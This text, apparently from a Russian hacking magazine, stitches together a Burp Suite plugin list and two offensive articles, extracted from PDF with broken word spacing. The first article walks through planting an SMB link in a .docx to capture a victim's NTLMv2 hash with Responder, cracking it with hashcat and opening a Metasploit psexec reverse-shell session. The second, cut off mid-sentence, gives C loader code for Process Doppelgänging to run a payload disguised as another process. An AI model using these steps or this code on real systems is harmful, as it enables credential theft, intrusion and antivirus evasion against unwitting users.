меняю выберешь пункт Send URL to SSL Scanner.

Из минусов — не хва тает кноп ки «Оста новить ска ниро вание», так как оно
име ет  тен денцию  затяги вать ся,  осо бен но  ког да  сер вер  неохот но  отве чает
на зап росы.

10. J2EEScan
https://github.com/portswigger/j2ee‐scan

На пос ледок пароч ка рас ширений для любимой Java. Пер вый — это оче‐ 
ред ной пла гин‐ста ричок авторс тва Энри ко Милане зе (Enrico Milanese). Обна‐ 
ружи вает и  тес тиру ет раз личные J2EE  (Java 2 Enterprise Edition) при ложе ния
на наличие извес тных  уяз вимос тей. В арсе нале име ются  такие ста рые доб‐ 
рые дыры, как JBoss SEAM Remote Command Execution  ( ), Ex‐
pression  Language  Injection  ( )  и  отно ситель но  новые  вро де
Apache Struts:  S2‐032  ( ).  Учи тывая  то,  нас коль ко  силь но  соп‐ 
ротив ляют ся  обновле ниям  энтер прайз‐решения,  пла гин  быва ет  доволь но
полезен и пери оди чес ки выруча ет инте рес ными наход ками.

CVE‐2010‐1871
CVE‐2011‐2730

CVE‐2016‐3081

Нас тро ек никаких не тре бует, допол нитель ной воз ни не про сит. Уста новил
его, и он тихонь ко отра баты вает во вре мя активно го ска ниро вания.

Ин форма ция, обна ружен ная пла гином J2EEScan

11. Freddy the Serial(isation) Killer
https://github.com/PortSwigger/freddy‐deserialization‐bug‐finder

И пос ледний пла гин, о котором я хотел рас ска зать, — Freddy the Serial(isa‐
tion) Killer.

В  пос леднее  вре мя  ста ли  очень  популяр ны  все воз можные  ата ки
на  десере али зацию  и  шаб лониза торы.  Осо бен но  отли чились  на  этом  поп‐ 
рище  некото рые  Java‐про екты  типа  Spring,  WebLogic,  Apache  Commons.
Это рас ширение как раз и помога ет обна ружить проб лемы десери али зации
и демар шалин га в раз ных биб лиоте ках и API.

Здесь  реали зова на  под дер жка  раз ных  фор матов  пей лоада,  в  том  чис ле
YAML и AMF. За осно ву  была  взя та  ути лита  . Пол ный  спи сок  под‐ 
держи ваемых  целей  ты можешь  пос мотреть  на  стра нице  репози тория.  Хочу
так же отме тить, что, помимо Java, пла гин уме ет ата ковать десери али зато ры
.NET, такие как FastJson, JavascriptSerializer, XmlSerializer.

marshalsec

Ра бота ет  «Фред ди»  во  вре мя  авто мати чес кого  ска ниро вания.  Никак
допол нитель но  нас тра ивать  его  не  тре бует ся,  а  все  най ден ные  уяз вимос ти
мож но пос мотреть в панели Issues.

ИТОГ
Ра зуме ется, это лишь часть пла гинов,  которые я исполь зую в пов седнев ной
работе. Я не упо минал тут о неболь ших пла гинах‐хел перах типа 
 и  ,  пла гине  ,  который исполь зует базу дан ных WP‐

Scan  для  опре деле ния  уяз вимых  тем  и  пла гинов  в  WordPress,  и  семей стве
пла гинов Copy As, которые поз воля ют копиро вать зап рос в виде кода на выб‐ 
ранном язы ке.

JSONBeautifi‐
er Swagger Parser Burp WP

Я  пос тарал ся  рас ска зать  о  наибо лее  удач ных,  по  моему  мне нию,  рас‐ 
ширени ях.  Думаю,  у  каж дого  соб рался  такой  вот  спи сочек.  Поэто му,  если
тебе есть что добавить, пиши в ком мента риях.

https://github.com/PortSwigger/auth-matrix#chains
https://github.com/PortSwigger/http-mock
https://github.com/portswigger/bypass-waf
https://github.com/PortSwigger/ssl-scanner
https://testssl.sh/
https://github.com/portswigger/j2ee-scan
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2730
http://struts.apache.org/release/2.3.x/docs/s2-032.html
https://github.com/PortSwigger/freddy-deserialization-bug-finder
https://github.com/mbechler/marshalsec
https://github.com/portswigger/json-beautifier
https://github.com/portswigger/swagger-parser
https://github.com/portswigger/wordpress-scanner
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ВЗЛОМ

Ха керы  дав но  исполь зуют  докумен ты MS Office  как  кон тей‐ 
неры  для  дос тавки  пей лоада.  Одна ко  написа ние  мак росов
и  поиск  уяз вимос тей  в  самих  офис ных  прог раммах  —
не единс твен ные спо собы зас тавить их работать так, как нам
нуж но. В этой статье мы рас смот рим нет риви аль ный при ем,
зас тавля ющий  ата куемый  компь ютер  c  Windows  передать
нам  по  сети  учет ные  дан ные  поль зовате ля  при  откры тии
фай ла .docx.

SMB
SMB — это сетевой про токол, который слу жит в основном для дос тупа к дан‐ 
ным на  уда лен ном  компь юте ре.  Говоря про ще,  ког да  ты  пыта ешь ся  залезть
на шару, то как раз им и поль зуешь ся. Выпущен он был в далеком 1983 году,
но лишь со вре мен Windows 2000 стал походить на тот, каким мы его зна ем
сей час (нап ример, работать на 445‐м пор те).

Сей час есть три основные вер сии про токо ла. Сущес твен ная раз ница зак‐ 
люча ется  в  коман дах,  про пус кной  спо соб ности  (за  счет  раз ных  вари антов
кеширо вания)  и  обновле нии  безопас ности  (шиф рование  и  зап латки  дыр).
Плюс  раз работ чики  не  упус кают  воз можнос ти  сде лать  работу  с  SMB  более
удоб ной, поэто му с каж дым релизом в него добав ляют ся раз ные плю хи (нап‐ 
ример, вос ста нов ление соеди нения при раз рыве).

В рам ках дан ной статьи мы рас смат рива ем кон крет но SMBv2. Нам необ‐ 
ходимо  знать,  что  сущес тву ет  механизм  защиты Microsoft  SMB  Protocol.  Он
осно ван на двух методах кон тро ля дос тупа: share‐level и user‐level.

Для пре дос тавле ния дос тупа методом share‐level необ ходимо иметь соот‐ 
ветс тву ющий логин и пароль. Пос ле успешной аутен тифика ции поль зователь
получа ет дос туп ко всем дан ным, которые находят ся на ресур се.

Ме тод user‐level так же берет за осно ву логин и пароль. Отли чие зак люча‐ 
ется в том, что в этом слу чае сис темный адми нис тра тор зада ет спи сок дос‐ 
тупа,  то  есть  явно  ука зыва ет,  каким  поль зовате лям  и  груп пам  пре дос тавить
дос туп к ресур су. Нам инте ресен и тот и дру гой метод, так как в обо их слу чаях
спо соб аутен тифика ции оста ется неиз менным — NTLMv2.

WARNING

Вся  информа ция  в  этой  статье  пре дос тавле на
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный дан ными матери ала ми!

NTLMV2
Нас инте ресу ет имен но NTLMv2, так как SMBv2, который мы будем рас смат‐ 
ривать,  исполь зует  его.  Эта  вер сия  про токо ла  сетевой  аутен тифика ции
появи лась  во  вре мена  Windows  NT  4.0  SP4  и  с  неболь шими  изме нени ями
дожила до наших дней в сос таве Windows 10. В NTLMv2 исполь зует ся одно‐ 
имен ный тип рукопо жатий (NTLMv2 handshake), счи тающий ся более безопас‐ 
ным, чем уста рев шие LM и NTLM пер вой вер сии.

Ра бота ет  все  сле дующим  обра зом.  При  откры тии  докумен та  со  ссыл кой
на сетевую шару кли ент  (которым в нашем слу чае будет компь ютер жер твы)
переда ет это му сер веру коман ду на получе ние кон тента. Для это го он отсы‐ 
лает ему имя поль зовате ля и имя домена, на что сер вер запус кает про цеду ру
авто риза ции по типу «зап рос/ответ».

Он  отправ ляет  кли енту  однократ но  исполь зуемое  ран домное  чис ло  —
.  В  ответ  кли ент  отсы лает  новый  зап рос,  который  содер жит

дру гое псев дослу чай ное чис ло —   и мет ку вре мени.
server  nonce

client nonce
Зап росы кли ента и сер вера объ еди няют ся в общий сек рет (session nonce),

из  которо го  на  сто роне  сер вера  вычис ляет ся  хеш  сес сии  HMAC‐
MD5 или HMAC‐SHA‐256 (в зависи мос ти от вер сии SMB и нас тро ек безопас‐ 
ности).

На сто роне кли ента  хеш сес сии шиф рует ся  тре мя клю чами DES,  генери‐ 
руемы ми  из  допол ненно го  нулями  и  раз делен ного  на  три  бло ка  NT‐хеша
поль зователь ско го  пароля.  Это  и  есть  ито говый  NTLMv2‐ответ,  который
отправ ляет ся сер веру.

Сер вер объ еди няет NTLMv2‐ответ со сво им зап росом и вычис ляет от него
новый хеш HMAC‐MD5 или HMAC‐SHA‐256.

На финаль ном эта пе кон трол лер домена получа ет хеширо ван ный NTLMv2‐
ответ  вмес те  с  зап росами  кли ента  и  сер вера. Он  счи тыва ет  из  сво ей  базы
NT‐хеш  поль зователь ско го  пароля  и  рас шифро выва ет  получен ный  кли ент‐ 
ский ответ. Если удач но — сер веру воз вра щает ся ответ об успешной аутен‐ 
тифика ции.

По ясню для заяд лых брут форсе ров: мно жес тво хешей NT сос тавля ет 2
(или более 340 тысяч децил лионов) вари антов. Сред няя ско рость брут форса
пар NTLM‐хеш — пароль  на  ком пе  с Core  i7  и  топовой  виде окар той  уров ня
GTX1080  сос тавля ет  поряд ка  700  мил лионов  в  секун ду  (зависит  от  прог‐ 
раммы и осо бен ностей кон фигура ции). Поиск по радуж ным таб лицам на нем
же  выпол няет ся  гораз до  быс трее — на  ско рос ти  око ло  100  000 мил лионов
в секун ду.
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Воп рос к читате лю
Как ты дума ешь, сколь ко вре мени пот ребу ется на брут форс пароля по NTLM‐
хешу при стан дар тном матема тичес ком ожи дании 50% (то есть ког да пароль
отыс кива ется в пер вой полови не мно жес тва переби раемых вари антов)?

 комп сго рит быс трее.От вет для ленивых:

ОПИСАНИЕ УЯЗВИМОСТИ
В кон крет ном при мере рас смат рива ется час тный слу чай ата ки Pass the Hash,
под робнос ти о которой читай во врез ке. Ата ковать мы будем с помощью Of‐
fice Open XML. Это фор мат хра нения офис ных докумен тов, и пред став ляет он
собой не  что  иное,  как  обыч ный ZIP‐архив,  в  который  упа кова ны  текст,  гра‐ 
фика  и  осталь ные дан ные. Нам необ ходимо  зас тавить  документ  обра тить ся
к  уда лен ному  (естес твен но,  под кон троль ному  нам)  SMB‐сер веру,  перех‐ 
ватить  тра фик  и  выудить  отту да  хеширо ван ные  учет ные  дан ные.  Для  это го
вос поль зуем ся воз можностью дан ного фор мата встра ивать в тело докумен та
текст из дру гого докумен та (суб докумен та).

В  час тнос ти,  в  MS  Office  име ется  фун кция  под  наз вани ем  ,
о которой и пой дет речь. Сама фун кция ничего осо бо зло го в себе не несет,
так как пред назна чена она для динами чес кого обновле ния кон тента.

subDoc

К при меру,  возь мем два фай ла:  doc1 и doc2. Вста вим при помощи фун‐ 
кции   текст из doc1 в doc2. Изме ним текст в doc1. Теперь при откры‐ 
тии фай ла doc2 он обра тит ся к источни ку тек ста и вне сет те же самые изме‐ 
нения, а точ нее — прос то обно вит содер жимое.

subDoc

Фо кус в том, что мы можем модер низиро вать файл doc2 таким обра зом,
что бы  он  ссы лал ся  на  файл  на  уда лен ном  сер вере  (неваж но,  в  локаль ной
сети  это  будет  или  за  NAT).  На  этот  раз,  откры вая  doc2,  Word  обра тит ся
по  SMB‐про токо лу  за  содер жимым,  что  поз волит  нам  перех ватить  тра фик
и дос тать отту да необ ходимые нам дан ные. Если файл будет недос тупен, то
документ прос то не смо жет обно вить ся.

Де лать  мы  будем  так,  что бы  ссыл ка  была  вооб ще  не  на  файл,  а  прос то
на сер вер по SMB. На том кон це, естес твен но, кто‐то встре тит нуж ные пакеты
и получит завет ный логин (в откры том виде) и NTLMv2‐ответ (с которым в ито‐ 
ге и нуж но раз вле кать ся). При этом на сто роне ата куемо го не будет никакой
подоз ритель ной активнос ти. Он прос то откры вает файл.

Pass the Hash
Суть ата ки переда чи  хеша сос тоит  в  том,  что бы вынудить ата куемый  компь‐ 
ютер  отпра вить  на  сетевой  узел,  под кон троль ный  хакеру,  зап рос,  содер‐ 
жащий  хеширо ван ный пароль  текуще го  поль зовате ля. В  дан ной  статье рас‐ 
смат рива ется  вари ант  с  исполь зовани ем  ссыл ки  на  общий  сетевой  ресурс
в  «зло наме рен но  сос тавлен ном»  докумен те  фор мата  Office  Open  XML.
При откры тии фай ла авто мати чес ки выпол нится попыт ка авто риза ции по SMB
без  Session  Security  Flag,  для  чего  отпра вит ся  стан дар тный  зап рос,  содер‐ 
жащий зашиф рован ный NTLM‐хеш пароля.

Ра зуме ется,  это  спра вед ливо  толь ко  в  том  слу чае,  если  на  компь юте ре
жер твы исполь зует ся SMB‐NTLM. Если кор поратив ная сеть миг риру ет на Ker‐
beros,  изме нит ся  сис тема  «зап рос/ответ».  В  ней  появит ся  про межу точ ный
сер вер, поэто му таким спо собом хеш перех ватить уже не удас тся. Под робнее
см.   c кон ферен ции Black Hat.док лад

ПОДГОТОВКА
Для реали зации опи сан ной выше теории нам необ ходимы четыре вещи:
1. Лю бая Linux‐машина (какой уж взлом без линук сов‐то…).
2. Па кет Microsoft Word, начиная с 2007.
3. Пря мые руки.
4. Компь ютер жер твы или его ими тация.

В экспе римен те я исполь зовал сле дующие прог раммы:
Ubuntu Server 16.04;•
MS Windows 7 Ultimate (сбор ка 7600);•
па кет MS Office 2010, стан дар тное изда ние.•

По мимо Windows 7, успешные испы тания были про веде ны на Windows Server
2012 R2, вер сия 6.3, билд 9600.

СОЗДАЕМ ВРЕДОНОСНЫЙ ФАЙЛ
На GitHub  уже  выложен инс тру мент  под наз вани ем  ,  который
поз воля ет  одной  коман дой  соз дать  вре донос ный  документ.  Его мож но  ска‐ 
чать и опро бовать, но нас тоящие герои всег да идут в обход.

Subdoc  Injector

Соз даем  два  фай ла  .doc  (doc1  и  doc2).  В  документ  doc1  пишем  любой
текст,  сох раня ем  его  и  зак рыва ем.  Затем  откры ваем  doc2. На  при мере MS
Word 2007: откры ваем вклад ку «Встав ка» и выбира ем «Объ ект → Объ ект».

Встав ка суб докумен та

В открыв шемся окне перехо дим на вклад ку «Соз дание из фай ла». Запол няем
поле  «Имя  фай ла»,  ука зывая  на  doc1.  Обя затель но  уста нав лива ем  флаг
«Связь с фай лом».

Пос ле  это го  в  теле  докумен та  появит ся  встав ка  в  виде  тек ста  из  doc1.
Не забыва ем сох ранить и зак рыть.

По ка все лег ко и прос то. Сле дующим шагом нам пред сто ит иссле довать
глу бины струк туры докумен та. «Разоб рать» его мож но раз ными спо соба ми —
это  обыч ный  ZIP,  под дер жка  которо го  изна чаль но  есть  в  Windows.  Кому‐то
по  душе  внеш ние  архи вато ры,  кто‐то  пред почита ет  фай ловые  менед жеры
с  архивны ми  пла гина ми  —  у  каж дого  свои  пре иму щес тва.  Я  для  удобс тва
исполь зовал WinRAR.

Итак,  откры ваем  документ  выб ранным  спо собом  и  идем  в  пап ку 
. Нас инте ресу ет файл .rels. Рас паковы ваем его из архи ва и откры ваем

с помощью «Блок нота». Самая инте рес ная часть — это ссыл ка на файл.

word\
_rels

Ссыл ка, которую будем менять

Ее необ ходимо отре дак тировать  таким обра зом,  что бы она име ла вид 
, где IP — это адрес нашего сер вера с запущен ным Responder.

Tar‐
get=///IP

За тем сох раня ем и зак рыва ем «Блок нот». Упа ковы ваем _rels на свое мес‐ 
то, заменив им ста рую вер сию. На этом эта пе под готов ка закон чена, перехо‐ 
дим к ата ке.

ПЕРЕХВАТЫВАЕМ УЧЕТНЫЕ ЗАПИСИ
Нам необ ходимо иметь уста нов ленный Linux (если дей ствия будут про ходить
за пре дела ми локаль ной сети, то у нее дол жен быть белый IP‐адрес). Я под‐ 
нял для тес та сер верный дис три бутив Ubuntu и кло ниро вал вет ку 
с  .  Этот  инс тру мент  уме ет  слу шать  раз ные  про токо лы  и  выужи вать
из зап росов учет ные дан ные.

Responder
GitHub

git clone https://github.com/SpiderLabs/Responder

В  пап ке  Responder  откры ваем  в  удоб ном  нам  редак торе  Responder.conf
и вклю чаем SMB.

Пос ле  это го,  пред варитель но  пос мотрев  IP  нашего  сер вера,  запус каем
ново испе чен ный пакет. Запуск необ ходимо про водить от root. Пос ле клю ча 
  дол жно  идти  наз вание  сетево го  интерфей са,  который  будет  при нимать
пакеты.

–
I

sudo ./Responder –I eth0

В выводе необ ходимо, что бы SMB server был в ста тусе ON.

За пуск Responder

На этом под готов ка нашего «перех ватчи ка» завер шена.
Пос ле  того  как  мы  закинем    на  компь ютер  жер твы  и  дож демся  его

откры тия, он покажет поль зовате лю свое содер жимое, как обыч ный документ,
ни о чем не пре дуп редив. Поль зователь уви дит в нем текст, изна чаль но сох‐ 
ранен ный из doc1. По идее, ког да Word не может уста новить связь с фай лом,
он  дол жен  выдать  ссыл ку  на  него  в  теле  докумен та,  но  на  прак тике  это го
не дела ет. Подоз рение может выз вать раз ве что необыч ная встав ка тек ста.

doc2

Тем вре менем на сто роне нашего сер вера про изош ли изме нения.

Пе рех вачен ные дан ные

Тут  все  ясно:  мы  перех ватили  часть  учет ных  дан ных  (имя  поль зовате ля
и домен) в откры том виде и NTLMv2‐SSP‐хеш, который пред сто ит взло мать.
Плю сом нам выдан IP‐адрес жер твы, а это тоже кое‐что.

БРУТ ПАРОЛЯ
Для  получе ния  пароля  в  чис том  виде  при дет ся  ата ковать NTLMv2‐SSP‐хеш.
Эффектив нее  исполь зовать  перебор  по  радуж ным  таб лицам  или  ата ку
по сло варю, пос коль ку брут форс может затянуть ся на годы, но для корот ких
нес ловар ных паролей и он сго дит ся.

Для  начала  забира ем  перех вачен ную  информа цию  с  нашего  сер вера.
Мож но  через SSH под линукс или  вос поль зовать ся  ста рым доб рым WinSCP
для Windows. Необ ходимый log‐файл будет лежать в катало ге Responder/logs
с име нем SMB‐NTLMv2‐SSP‐IP.txt (очень даже сим волич но).

Да лее мож но вос поль зовать ся прог раммой  . Коман да будет выг‐ 
лядеть сле дующим обра зом:

HashCat

hashcat –m 5600 [NTLMv2] –a 3 –status –o [file]

Вмес то   необ ходимо под ста вить NTLMv2‐ответ,  содер жащий зашиф‐ 
рован ный хеш перех вачен ного пароля. Вмес то file — файл, в который будет
записы вать ся ста тис тика и (если повезет) най ден ный пароль.

NTLMv2

Прог рамма, в соот ветс твии с вне сен ными дан ными, сама под берет мас ку
для бру та.

За пуск прог раммы HashCat

METASPLOIT
Ес ли тебе не нра вит ся медити ровать во вре мя перебо ра паролей, на помощь
при дет ста рый доб рый Metasploit Framework. У него уже из короб ки есть экс‐ 
пло ит для PsExec (упро щен ный вари ант Telnet).

За пус тим Metasploit и выберем экс пло ит.

use  exploit/windows/smb/psexec

Сле дом добавим «полез ную наг рузку».

set payload windows/meterpreter/reverse_tcp

Смот рим таб лицу дан ных, которые надо дать прог рамме.

Оп ции, которые необ ходимо изме нить

Нам нуж но передать парамет ры: RHOST (IP‐адрес компь юте ра жер твы), SMB‐
Pass  (пароль  или  его  хеш),  SMBUser  (имя  поль зовате ля  из  перех вачен ных
учет ных  дан ных),  LHOST  (IP‐адрес  нашего  компь юте ра  с  Metasploit  Frame‐
work).  Запус каем  экс пло ит,  ловим  сес сию  метер пре тера  и  улы баем ся
во все 32 (зуба, не бита)!

ЗАКЛЮЧЕНИЕ
Все мои попыт ки зап ретить обра щение фун кции к «суб докумен ту» средс тва‐ 
ми  безопас ности  Word  закон чились  про валом:  не  помога ет  даже  зап рет
на редак тирова ние и отклю чение ненадеж ных докумен тов. Более того, любая
прог рамма,  которая понима ет Office Open XML, смо жет при откры тии обра‐ 
тить ся к SMB‐сер веру, со все ми вытека ющи ми учет ными дан ными (в пря мом
смыс ле это го выраже ния).

Эта фун кция, как ни стран но, не была пуб лично приз нана как вре донос ная.
Поэто му на момент написа ния статьи такой файл не детек тиру ется как потен‐ 
циаль но опас ный ни одним анти виру сом.

В  Microsoft  так же  не  пла ниро вали  пред при нимать  никаких  дей ствий
по это му поводу. В ито ге мы получа ем очень лег кий в реали зации (прак тичес‐ 
ки в три кли ка) спо соб похитить учет ные дан ные, что сов сем не весело.

Са мый  вер ный  спо соб  защиты —  это  зак рыть  или  отклю чить  SMB,  если
в нем нет необ ходимос ти. Одна ко при этом ты потеря ешь 

.  Про тив  дан ной  ата ки  будет  эффекти вен
и переход на аутен тифика цию Kerberos.

це лый набор сов‐ 
ремен ных  сетевых  фун кций

WWW

•Нас трой ка SMB в Windows
•Ис поль зуем хеш для авто риза ции
•Pass the Hash и PsExec
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https://www.blackhat.com/docs/us-15/materials/us-15-Brossard-SMBv2-Sharing-More-Than-Just-Your-Files.pdf
https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/ms-office/subdoc-injector/subdoc_injector.py
https://github.com/SpiderLabs/Responder
https://hashcat.net/hashcat/
https://support.microsoft.com/ru-ru/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and
https://support.microsoft.com/ru-ru/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and
http://new-2010.truesec.com/security/tools/security/runhash_v1.0_(x64)
https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
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ВЗЛОМ

На кон ферен ции Black Hat Europe 2017 был
пред став лен док лад о новой тех нике запус‐ 
ка  про цес сов под наз вани ем Process Dop‐
pelgänging.  Вир мей керы  быс тро  взя ли  эту
тех нику на воору жение, и уже есть нес коль‐ 
ко  вари антов  мал вари,  которая  ее  экс плу‐ 
ати рует.  Я  рас ска жу,  в  чем  суть  Process
Doppelgänging  и  на  какие  сис темные
механиз мы он опи рает ся. Заод но напишем
неболь шой  заг рузчик,  который демонс три‐ 
рует  запуск  одно го  про цес са  под  видом
дру гого.

Тех ника Process Doppelgänging чем‐то похожа на сво его пред шес твен ника —
Process Hollowing, но отли чает ся механиз мами запус ка при ложе ния и вза имо‐ 
дей ствия с заг рузчи ком опе раци онной сис темы. Кро ме того, в новой тех нике
при меня ются  механизм  тран закций  NTFS  и  соот ветс тву ющие  WinAPI,  нап‐ 
ример  ,  , 
и  ,  которые,  разуме ется,  не  исполь зуют ся  в  Process
Hollowing.

CreateTransaction CommitTransaction CreateFileTransacted
RollbackTransaction

Это одновре мен но силь ная и сла бая чер та новой  тех ники сок рытия про‐ 
цес сов.  С  одной  сто роны,  раз работ чики  анти виру сов  и  про чего  защит ного
соф та  не  были  готовы  к  тому,  что  для  запус ка  вре донос ного  кода  будут
исполь зованы WinAPI,  отве чающие  за  тран закции  NTFS.  С  дру гой  сто роны,
пос ле  док лада  на  кон ферен ции  эти  WinAPI  сра зу  попадут  под  подоз рение,
если  будут  встре чать ся  в  исполня емом  коде.  И  неуди витель но:  это  ред кие
сис темные  вызовы,  которые  прак тичес ки  не  при меня ются  в  обыч ных  прог‐ 
раммах. Конеч но, есть нес коль ко спо собов скрыть вызовы WinAPI, но это уже
дру гая исто рия,  а  сей час мы име ем неп лохой  кон цепт,  который мож но раз‐ 
вивать.

РАЗЛИЧИЯ PROCESS DOPPELGДNGING И PROCESS HOLLOWING
Ши роко рас простра нен ная в узких кру гах тех ника запус ка исполня емо го кода
Process Hollowing зак люча ется в под мене кода при оста нов ленно го легитим‐ 
ного  про цес са  вре донос ным  кодом  и  пос леду ющем  его  выпол нении.  Вот
общий план дей ствий при Process Hollowing.
1. При помощи    открыть  легитим ный  доверен ный  про цесс,
уста новив флаг  , что бы про цесс при оста новил ся.

CreateProcess

CREATE_SUSPENDED

2. Скрыть  отоб ражение  сек ции  в  адресном  прос транс тве  про цес са
при помощи  .NtUnmapViewOfSection

3. Пе реза писать код нуж ным при помощи  .WriteProcessMemory

4. За пус тить ся при помощи  .ResumeThread

По  сути,  мы  вруч ную  меня ем  работу  заг рузчи ка  опе раци онной  сис темы
и дела ем за него часть работы, попут но под меняя код в памяти.

В свою оче редь, для реали зации тех ники Process Doppelgänging нам нуж‐ 
но выпол нить такие шаги.
1. Соз даем новую тран закцию NTFS при помощи фун кции 

.
CreateTransac­

tion

2. В  кон тек сте  тран закции соз даем вре мен ный файл для нашего  кода фун‐ 
кци ей  .CreateFileTransacted

3. Соз даем в памяти буферы для вре мен ного фай ла (объ ект «сек ция», фун‐ 
кция  ).NtCreateSection

4. Про веря ем PEB.
5. За пус каем про цесс через  .NtCreateProcessEx­>ResumeThread

Во обще, тех нология тран закций NTFS(TxF) появи лась в Windows Vista на уров‐ 
не драй вера NTFS и оста лась во всех пос леду ющих опе раци онных сис темах
это го  семей ства.  Эта  тех нология  приз вана  помочь  про изво дить  раз личные
опе рации  в  фай ловой  сис теме  NTFS.  Так же  она  иног да  исполь зует ся
при работе с базами дан ных.

Опе рации TxF счи тают ся ато мар ными — пока про исхо дит работа с  тран‐ 
закци ей  (и  свя зан ными  с  ней  фай лами),  до  ее  зак рытия  или  отка та  она
не вид на никому. И если будет откат, то опе рация не изме нит ничего на жес‐ 
тком дис ке. Тран закцию мож но соз дать при помощи фун кции 

  с  нулевы ми  парамет рами,  а  пос ледний  параметр — наз вание  тран‐ 
закции. Про тотип выг лядит таким обра зом.

CreateTrans‐
action

HANDLE CreateTransaction(
   IN LPSECURITY_ATTRIBUTES lpTransactionAttributes OPTIONAL,
   IN LPGUID UOW                                    OPTIONAL,
   IN DWORD CreateOptions                           OPTIONAL,
   IN DWORD IsolationLevel                          OPTIONAL,
   IN DWORD IsolationFlags                          OPTIONAL,
   IN DWORD Timeout                                 OPTIONAL,
   LPWSTR                                           Description
);

ПРИСТУПАЕМ К РАБОТЕ
На чина ем  писать  при ложе ние  с  самого  начала.  Усло вим ся,  что  наше  при‐ 
ложе ние  (пей лоад),  которое  необ ходимо  будет  запус тить  от  име ни  дру гого
при ложе ния  (цели),  будет  переда вать ся  в  качес тве  вто рого  аргу мен та,
а цель — в качес тве пер вого.

Как поль зовать ся недоку мен тирован ными NTAPI
В  коде  мы  будем  исполь зовать  недоку мен тирован ные  фун кции  NTAPI  Win‐
dows. Они  получа ются  динами чес ки  по  сво ему  про тоти пу.  Вот  один  из  воз‐ 
можных методов получе ния недоку мен тирован ных фун кций и работы с ними.

Объ явля ем про тотип фун кции  :NtQueryInformationProcess

typedef NTSTATUS(WINAPI *NtQueryInformationProcess)(HANDLE, 
        UINT,
        PVOID,
        ULONG,
        PULONG);

На  лету  получа ем  адрес  нуж ной фун кции  в  биб лиоте ке  ntdll.dll  по  ее  име ни
при  помощи    и  прис ваиваем  его  перемен ной  нашего  про‐ 
тоти па:

GetProcAddress

pNtQueryInformationProcess NtQueryInfoProcess = (pNtQueryInforma
tionProcess) GetProcAddress(
    LoadLibrary(L"ntdll.dll"),
    "NtQueryInformationProcess"
);

Здесь исполь зуем фун кцию   обыч ным обра зом,
толь ко через нашу перемен ную:

NtQueryInformationProcess

NTSTATUS Status = pNtQueryInfoProcess(...);
if (Status == 0x00000000) return 0;

Так получа ются и исполь зуют ся все необ ходимые недоку мен тирован ные фун‐ 
кции, которые обыч но выносят в header про екта.

int main(int argc, char *argv[]) {
   WCHAR descr[MAX_PATH] = { 0 };
   HANDLE hTrans = CreateTransaction(NULL, 
           0, 
   0, 
   0, 
   0, 
   0, 
   descr);
   if (hTrans == INVALID_HANDLE_VALUE)
       return ‐1;

Да лее соз даем фик тивный вре мен ный файл в кон тек сте тран закции.

HANDLE hTrans_file = CreateFileTransacted(dummy_file,
       GENERIC_WRITE | GENERIC_READ,
       0,
       NULL,
       OPEN_EXISTING,
       FILE_ATTRIBUTE_NORMAL,
       NULL,
       hTrans,
       NULL,
       NULL);
if (hTrans_file == INVALID_HANDLE_VALUE)
   return ‐1;

В  перемен ной   —  путь  к  тому фай лу,  под  который  мы  мас киру‐ 
емся.  Я  буду  ста рать ся  всег да  при водить  про тоти пы  недоку мен тирован ных
фун кций: вот про тотип  .

dummy_file

CreateFileTransacted

HANDLE CreateFileTransactedA(
   LPCSTR                lpFileName,
   DWORD                 dwDesiredAccess,
   DWORD                 dwShareMode,
   LPSECURITY_ATTRIBUTES lpSecurityAttributes,
   DWORD                 dwCreationDisposition,
   DWORD                 dwFlagsAndAttributes,
   HANDLE                hTemplateFile,
   HANDLE                hTransaction,
   PUSHORT               pusMiniVersion,
   PVOID                 lpExtendedParameter
);

Да лее  необ ходимо  выделить  память  для  нашего  пей лоада. Это мож но  сде‐ 
лать при помощи мап пинга, а мож но и обыч ным вызовом  .malloc

HANDLE input_payload = CreateFile(argv[2],
       GENERIC_READ,
       0,
       NULL,
       OPEN_EXISTING,
       FILE_ATTRIBUTE_NORMAL,
       NULL);
if (input_payload == INVALID_HANDLE_VALUE)
   return ‐1;
BOOL status = GetFileSizeEx(input_payload, &pf_size);
if (!status) return ‐1;
DWORD dwf_size = pf_size.LowPart;
BYTE *buf = (BYTE *)malloc(dwf_size);
if (!buf) return ‐1;

Ду маю, что этот код не вызовет у тебя никаких труд ностей: здесь исполь зуют‐ 
ся стан дар тные фун кции WinAPI и фун кции язы ка С.

Итак, буфер в памяти готов, теперь запол ним его.

DWORD read_bytes = 0;
DWORD overwrote = 0;
if (ReadFile(input_payload, buf, dwf_size, &read_bytes, NULL) == FALSE)
   return ‐1;
if (WriteFile(hTransactedFile, buf, dwf_size, &overwrote, NULL) == FALSE)
   return ‐1;
status = NtCreateSection(&hSection_obj, 
       SECTION_ALL_ACCESS,
       NULL,
       0,
       PAGE_READONLY,
       SEC_IMAGE,
       hTrans_file);
if (!NT_SUCCESS(status))
   return ‐1;

С это го момен та в памяти все готово: буфер выделен и запол нен нашим пей‐ 
лоадом.  Теперь  дело  за малым — соз дать  про цесс,  нас тро ить  PEB,  вычис‐ 
лить точ ку вхо да и запус тить ся в новом тре де. :) Соз давать про цесс фун кци ей

  мы  не  можем:  ей  нужен  путь  до  фай ла,  а  если  учесть,  что
файл, который мы соз дали внут ри тран закции, — фей ковый, к тому же тран‐ 
закция даже не завер шена (и никог да не будет завер шена, будет рол лбэк), то
такой путь мы пре дос тавить не в сос тоянии. Но выход есть — исполь зовать
фун кцию NTAPI  .  Ей  не  нужен  путь  к  фай лу,  вот  ее  про‐ 
тотип:

CreateProcess

NtCreateProcessEx

NTSTATUS
NTAPI
NtCreateProcessEx(
 _Out_     PHANDLE ProcessHandle,
 _In_    ACCESS_MASK DesiredAccess,
 _In_opt_  POBJECT_ATTRIBUTES ObjectAttributes,
 _In_    HANDLE ParentProcess,
 _In_    ULONG Flags,
 _In_opt_  HANDLE SectionHandle,
 _In_opt_  HANDLE DebugPort,
 _In_opt_  HANDLE ExceptionPort,
 _In_    ULONG JobMemberLevel
);

Пе реда ваемый в эту фун кцию параметр   не что иное, как сек‐ 
